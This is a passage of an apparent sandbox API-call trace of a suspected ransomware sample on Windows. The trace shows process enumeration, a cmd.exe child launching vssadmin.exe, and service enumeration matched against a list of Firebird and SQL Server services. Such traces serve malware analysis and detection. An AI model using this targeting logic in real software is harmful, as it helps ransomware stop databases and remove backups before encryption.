th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.682] lstrlenW (lpString="svchost.exe") returned 11 [0046.682] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.682] lstrlenW (lpString="svchost.exe") returned 11 [0046.682] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.683] lstrlenW (lpString="svchost.exe") returned 11 [0046.683] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.683] lstrlenW (lpString="svchost.exe") returned 11 [0046.683] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.683] lstrlenW (lpString="svchost.exe") returned 11 [0046.683] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.684] lstrlenW (lpString="audiodg.exe") returned 11 [0046.684] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.684] lstrlenW (lpString="svchost.exe") returned 11 [0046.684] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.684] lstrlenW (lpString="svchost.exe") returned 11 [0046.684] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.684] lstrlenW (lpString="dwm.exe") returned 7 [0046.685] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.685] lstrlenW (lpString="explorer.exe") returned 12 [0046.685] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.685] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.685] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.685] lstrlenW (lpString="taskhost.exe") returned 12 [0046.685] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.686] lstrlenW (lpString="svchost.exe") returned 11 [0046.686] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.686] lstrlenW (lpString="taskeng.exe") returned 11 [0046.686] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.686] lstrlenW (lpString="taskhost.exe") returned 12 [0046.686] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0046.687] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0046.687] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0046.687] lstrlenW (lpString="noticed.exe") returned 11 [0046.687] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0046.687] lstrlenW (lpString="uploaded.exe") returned 12 [0046.687] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0046.687] lstrlenW (lpString="hardware.exe") returned 12 [0046.687] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0046.688] lstrlenW (lpString="oracle.exe") returned 10 [0046.688] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0046.688] lstrlenW (lpString="creativity.exe") returned 14 [0046.688] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0046.688] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0046.688] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0046.689] lstrlenW (lpString="edited.exe") returned 10 [0046.689] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0046.689] lstrlenW (lpString="custody.exe") returned 11 [0046.689] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0046.690] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0046.690] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0046.691] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0046.691] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0046.691] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0046.691] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0046.691] lstrlenW (lpString="radius.exe") returned 10 [0046.691] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0046.692] lstrlenW (lpString="extensions.exe") returned 14 [0046.692] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0046.692] lstrlenW (lpString="desperate.exe") returned 13 [0046.692] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0046.692] lstrlenW (lpString="professor-mo.exe") returned 16 [0046.692] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0046.692] lstrlenW (lpString="guidance.exe") returned 12 [0046.693] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0046.693] lstrlenW (lpString="week.exe") returned 8 [0046.693] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0046.693] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0046.693] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0046.693] lstrlenW (lpString="sn featured.exe") returned 15 [0046.693] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0046.694] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0046.694] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0046.694] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0046.694] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.694] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.694] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0046.695] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0046.695] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0046.695] lstrlenW (lpString="mobsync.exe") returned 11 [0046.696] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.696] lstrlenW (lpString="cmd.exe") returned 7 [0046.696] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.696] lstrlenW (lpString="conhost.exe") returned 11 [0046.696] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.696] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.696] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.697] lstrlenW (lpString="VSSVC.exe") returned 9 [0046.697] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.697] lstrlenW (lpString="svchost.exe") returned 11 [0046.697] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0046.697] CloseHandle (hObject=0x3d8) returned 1 [0046.697] Sleep (dwMilliseconds=0x1f4) [0047.509] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297b08 [0047.510] EnumServicesStatusExW (in: hSCManager=0x3297b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0047.510] GetLastError () returned 0xea [0047.510] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x53a0068 [0047.510] EnumServicesStatusExW (in: hSCManager=0x3297b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53a0068, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53a0068, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0047.511] CloseServiceHandle (hSCObject=0x3297b08) returned 1 [0047.511] lstrlenW (lpString="Appinfo") returned 7 [0047.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.511] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.511] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.511] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.511] lstrlenW (lpString="AudioSrv") returned 8 [0047.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.511] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.511] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.512] lstrlenW (lpString="BFE") returned 3 [0047.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.512] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.512] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.512] lstrlenW (lpString="CryptSvc") returned 8 [0047.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.512] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.512] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.512] lstrlenW (lpString="CscService") returned 10 [0047.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.512] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.512] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.512] lstrlenW (lpString="DcomLaunch") returned 10 [0047.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.512] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.512] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.512] lstrlenW (lpString="Dhcp") returned 4 [0047.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.513] lstrlenW (lpString="Dnscache") returned 8 [0047.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.513] lstrlenW (lpString="DPS") returned 3 [0047.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.513] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.513] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.513] lstrlenW (lpString="eventlog") returned 8 [0047.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.513] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.513] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.513] lstrlenW (lpString="EventSystem") returned 11 [0047.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.513] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.513] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.513] lstrlenW (lpString="gpsvc") returned 5 [0047.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.513] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.513] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.513] lstrlenW (lpString="iphlpsvc") returned 8 [0047.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.514] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.514] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.514] lstrlenW (lpString="LanmanServer") returned 12 [0047.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.514] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.514] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.514] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.514] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.514] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.514] lstrlenW (lpString="lmhosts") returned 7 [0047.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.514] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.514] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.514] lstrlenW (lpString="MMCSS") returned 5 [0047.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 